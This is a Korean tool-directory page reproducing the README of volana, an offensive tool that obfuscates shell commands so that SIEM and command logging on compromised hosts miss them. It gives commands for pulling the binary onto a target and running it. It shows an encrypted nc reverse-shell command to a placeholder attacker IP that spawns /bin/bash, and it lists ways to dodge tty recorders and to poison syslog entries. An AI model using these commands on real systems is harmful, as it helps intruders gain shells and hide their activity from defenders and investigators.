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๋„๊ตฌ๋ธ”๋กœ๊ทธ
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ํ•ดํ‚น, ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋ฐ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๋„๊ตฌ๋ฅผ ๋‹น์‹ ์˜ ๋ณด์•ˆ ๋ฌด๊ธฐ๊ณ ์—!

Kitploit์€ ํ•ดํ‚น, ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๋ฐ ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋„๊ตฌ ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. ์ตœ์‹  ํ”„๋กœ์ ํŠธ ์—…๋ฐ์ดํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ์‹œ์Šคํ…œ์„ ๋ถ„์„ํ•˜๊ณ , ํ…Œ์ŠคํŠธ๋ฅผ ์ž๋™ํ™”ํ•˜๊ณ , ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜์„ธ์š”.

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๋„๊ตฌ ๋””๋ ‰ํ† ๋ฆฌ

์นดํ…Œ๊ณ ๋ฆฌ

๋ชจ๋“  ์นดํ…Œ๊ณ ๋ฆฌ ๋ณด๊ธฐ
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GitHubariary/volana

volana

๐ŸŒ’ ์…ธ ๋ช…๋ น์–ด ๋‚œ๋…ํ™”๋ฅผ ํ†ตํ•œ ํƒ์ง€ ์‹œ์Šคํ…œ ํšŒํ”ผ

์ €์žฅ์†Œ ๋ณด๊ธฐ
120973๋…„ ์ „Kitploit ๊ฒ€ํ†  ์™„๋ฃŒ

์ธ๊ธฐ

๋ชจ๋‘ ๋ณด๊ธฐ โ†’

์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ๋„๊ตฌ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

๋ชจ๋“  ๋„๊ตฌ ํƒ์ƒ‰

๋„๊ตฌ ์ปฌ๋ ‰์…˜์„ ๋‘˜๋Ÿฌ๋ณด์„ธ์š”

๋ชจ๋“  ๋„๊ตฌ ๋ณด๊ธฐ โ†’
๊ณต์œ 

volana (๋งˆ๋‹ค๊ฐ€์Šค์นด๋ฅด์–ด๋กœ ๋‹ฌ)

root@kitploit:~
{ ์‚ฌ์šฉํ•˜๊ธฐ ; ๐ŸŒš(์ˆจ๊ธฐ๊ธฐ ๋Œ€์ƒ); ๐ŸŒž(๊ฐ์ง€ ๋Œ€์ƒ) } 

์‰˜ ๋ช…๋ น ๋‚œ๋…ํ™”๋กœ SIEM/ํƒ์ง€ ์‹œ์Šคํ…œ ํšŒํ”ผ

์นจํˆฌ ํ…Œ์ŠคํŠธ ์ค‘ ์ค‘์š”ํ•œ ์ธก๋ฉด์€ ์€๋ฐ€ํ•จ(stealth)์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ž‘์—… ํ›„ ํ”์ ์„ ์ง€์›Œ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋งŽ์€ ์ธํ”„๋ผ๋Š” ๋ช…๋ น์„ ๊ธฐ๋กํ•˜๊ณ  ์‹ค์‹œ๊ฐ„์œผ๋กœ SIEM์— ์ „์†กํ•˜์—ฌ ์‚ฌํ›„ ์ •๋ฆฌ๋งŒ์œผ๋กœ๋Š” ๋ฌด์šฉ์ง€๋ฌผ์ด ๋ฉ๋‹ˆ๋‹ค.

volana๋Š” ์ž์ฒด ์‰˜ ๋Ÿฐํƒ€์ž„์„ ์ œ๊ณตํ•˜์—ฌ ์นจํ•ด๋œ ์‹œ์Šคํ…œ์—์„œ ์‹คํ–‰๋œ ๋ช…๋ น์„ ์ˆจ๊ธฐ๋Š” ๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค (๋ช…๋ น์„ ์ž…๋ ฅํ•˜๋ฉด volana๊ฐ€ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค). ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ž‘์—… ์ค‘์— ํ”์ ์„ ์ง€์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ๋ฒ•

์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ ์‰˜์„ ํ™•๋ณดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. (์‹คํ–‰ ๋ฐฉ๋ฒ•์„ ์ฐพ์œผ์„ธ์š”, ๋‹น์‹ ์€ ํ•ด์ปค์ž…๋‹ˆ๋‹ค, ๊ทธ๊ฒŒ ๋‹น์‹ ์˜ ์ผ์ž…๋‹ˆ๋‹ค! ๊ทธ๋ ‡์ง€ ์•Š๋‹ค๋ฉด). ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋Œ€์ƒ ๋จธ์‹ ์— ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ์‹คํ–‰ํ•˜์„ธ์š”. ๊ทธ๊ฒŒ ๋‹ค์ž…๋‹ˆ๋‹ค, ์ด์ œ ์€๋ฐ€ํ•˜๊ฒŒ ์‹คํ–‰ํ•˜๋ ค๋Š” ๋ช…๋ น์„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana ยป echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1  #you are allowed to be a bit cocky
volana ยป [command]

volana ์ฝ˜์†” ํ‚ค์›Œ๋“œ:

  • ring: ๋ง ๋ชจ๋“œ๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ๊ฐ ๋ช…๋ น์ด ๋‹ค๋ฅธ ๋งŽ์€ ๋ช…๋ น๊ณผ ํ•จ๊ป˜ ์‹คํ–‰๋˜์–ด ์ถ”์ ์„ ์€ํํ•ฉ๋‹ˆ๋‹ค (์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ์†”๋ฃจ์…˜์œผ๋กœ๋ถ€ํ„ฐ)
  • exit: volana ์ฝ˜์†” ์ข…๋ฃŒ

๋น„๋Œ€ํ™”ํ˜• ์‰˜์—์„œ

๋น„๋Œ€ํ™”ํ˜• ์‰˜(์›น์‰˜ ๋˜๋Š” ๋ธ”๋ผ์ธ๋“œ RCE)์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋ฉด, encrypt ๋ฐ decrypt ํ•˜์œ„ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋จผ์ €, ๋‚ด์žฅ ์•”ํ˜ธํ™” ํ‚ค๋กœ volana๋ฅผ ๋นŒ๋“œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž ๋จธ์‹ ์—์„œ

root@kitploit:~
## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

์•”ํ˜ธํ™”๋œ ๋ช…๋ น์„ ๋ณต์‚ฌํ•˜์—ฌ RCE๋กœ ์‹คํ–‰ํ•˜์„ธ์š” ๋Œ€์ƒ ๋จธ์‹ ์—์„œ

root@kitploit:~
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

์™œ ๊ทธ๋ƒฅ echo [command] | base64 ๋กœ ๋ช…๋ น์„ ์ˆจ๊ธฐ์ง€ ์•Š๋‚˜์š”? ๊ทธ๋ฆฌ๊ณ  ๋Œ€์ƒ์—์„œ echo [encoded_command] | base64 -d | bash ๋กœ ๋””์ฝ”๋”ฉํ•˜๋‚˜์š”?

์™œ๋ƒํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” base64 ์‚ฌ์šฉ์— ๋Œ€ํ•ด ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฑฐ๋‚˜ ๋ช…๋ น์—์„œ base64 ํ…์ŠคํŠธ๋ฅผ ์ฐพ๋Š” ์‹œ์Šคํ…œ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธ๋ฐ›๊ณ  ์‹ถ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์กฐ์‚ฌ๋ฅผ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค๊ณ  ์‹ถ์œผ๋ฉฐ base64๋Š” ์‹ค์ œ ์žฅ์• ๋ฌผ์ด ์•„๋‹™๋‹ˆ๋‹ค.

ํƒ์ง€

volana๊ฐ€ ๋‹น์‹ ์„ ์™„์ „ํžˆ ๋ณด์ด์ง€ ์•Š๊ฒŒ ๋งŒ๋“œ๋Š” ๊ธฐ์ ์€ ์•„๋‹ˆ๋ผ๋Š” ์ ์„ ๋ช…์‹ฌํ•˜์„ธ์š”. ๊ทธ ๋ชฉํ‘œ๋Š” ์นจ์ž… ํƒ์ง€์™€ ์กฐ์‚ฌ๋ฅผ ๋” ์–ด๋ ต๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํƒ์ง€๋œ๋‹ค๋Š” ๊ฒƒ์€ ํŠน์ • ๋ช…๋ น์ด ์‹คํ–‰๋˜์—ˆ์„ ๋•Œ ๊ฒฝ๊ณ ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ˆจ๊ธฐ๊ธฐ ๋Œ€์ƒ

  • ๊ธฐ๋ก ๋ช…๋ น ์ถœ๋ ฅ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ
  • ๊ธฐ๋ก ํŒŒ์ผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ
    • .bash_history, ".zsh_history" ๋“ฑ
  • ๋ฐฐ์‹œ ๋””๋ฒ„๊ทธ ํŠธ๋žฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ
  • sudo ๋‚ด์žฅ ๋กœ๊น… ์‹œ์Šคํ…œ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ
  • ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค์˜ ์‹œ์Šคํ…œ ์ฝœ์„ ์‹œ์Šคํ…œ ์ „์ฒด์—์„œ ์ถ”์ ํ•˜๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ (์˜ˆ: opensnoop)
  • ํ„ฐ๋ฏธ๋„ (tty) ๋ ˆ์ฝ”๋” (script, screen -L, sexonthebash, ovh-ttyrec, ๋“ฑ)
    • ์‰ฝ๊ฒŒ ํƒ์ง€ ๋ฐ ํšŒํ”ผ ๊ฐ€๋Šฅ: pkill -9 script
    • ์ผ๋ฐ˜์ ์ธ ๊ฒฝ์šฐ ์•„๋‹˜
    • screen์€ ํšŒํ”ผํ•˜๊ธฐ๊ฐ€ ์กฐ๊ธˆ ๋” ์–ด๋ ต์ง€๋งŒ, ์ž…๋ ฅ์€ ๊ธฐ๋กํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (๋น„๋ฐ€ ์ž…๋ ฅ: stty -echo => ํšŒํ”ผ)
    • ๋ช…๋ น ํƒ์ง€๋Š” ์•”ํ˜ธํ™”์™€ ํ•จ๊ป˜ volana๋กœ ํšŒํ”ผํ•  ์ˆ˜ ์žˆ์Œ

๊ฐ์ง€ ๋Œ€์ƒ

  • ์•Œ ์ˆ˜ ์—†๋Š” ๋ช…๋ น(volana)์— ๋Œ€ํ•ด ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ํƒ์ง€ ์‹œ์Šคํ…œ
  • ํ‚ค๋กœ๊ฑฐ ๊ธฐ๋ฐ˜ ํƒ์ง€ ์‹œ์Šคํ…œ
    • ์‰ฝ๊ฒŒ ํšŒํ”ผ ๊ฐ€๋Šฅ: ๋ช…๋ น ๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ
    • ์ผ๋ฐ˜์ ์ธ ๊ฒฝ์šฐ ์•„๋‹˜
  • syslog ํŒŒ์ผ ๊ธฐ๋ฐ˜ ํƒ์ง€ ์‹œ์Šคํ…œ (์˜ˆ: /var/log/auth.log)
    • sudo ๋˜๋Š” su ๋ช…๋ น์—๋งŒ ํ•ด๋‹น
    • syslog ํŒŒ์ผ์€ ์ˆ˜์ •๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์›ํ•˜๋Š” ๋Œ€๋กœ ์˜ค์—ผ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: /var/log/auth.log: logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
  • ์‹œ์Šคํ…œ ์ฝœ ๊ธฐ๋ฐ˜ ํƒ์ง€ ์‹œ์Šคํ…œ (์˜ˆ: auditd, LKML/eBPF)
    • ๋ถ„์„์ด ์–ด๋ ต๊ณ , ์—ฌ๋Ÿฌ ์šฐํšŒ ์‹œ์Šคํ…œ ์ฝœ์„ ๋งŒ๋“ค์–ด ์ฝ์„ ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Œ
  • ๋กœ๊ทธ๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•œ ์‚ฌ์šฉ์ž ์ •์˜ LD_PRELOAD ์ฃผ์ž…
    • ์ „ํ˜€ ์ผ๋ฐ˜์ ์ธ ๊ฒฝ์šฐ๊ฐ€ ์•„๋‹˜

๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ

ํด๋ฆญ๋ฒ ์ดํŠธ ์ œ๋ชฉ ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค๋งŒ, ๊ธฐ์—ฌ์ž์—๊ฒŒ๋Š” ๋ˆ์ด ์ง€๊ธ‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๐Ÿ›

๋‹ค์Œ์„ ๋ฐœ๊ฒฌํ•˜์…จ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”:

  • volana๋ฅผ ํƒ์ง€ํ•˜๋Š” ๋ฐฉ๋ฒ•
  • volana ๋ช…๋ น์„ ํƒ์ง€ํ•˜์ง€ ์•Š๋Š” ์ฝ˜์†” ๊ฐ์‹œ ๋ฐฉ๋ฒ•
  • ํƒ์ง€ ์‹œ์Šคํ…œ์„ ํšŒํ”ผํ•˜๋Š” ๋ฐฉ๋ฒ•

์—ฌ๊ธฐ์— ๋ณด๊ณ 

ํฌ๋ ˆ๋”ง

  • 8 ways to spy on console
  • moonwalk: ์ž‘์—… ํ›„ ํ”์ ์„ ์ง€์šฐ๋Š” ์œ ์‚ฌํ•œ ๋„๊ตฌ
๋„๊ตฌ ๋‹ค์šด๋กœ๋“œ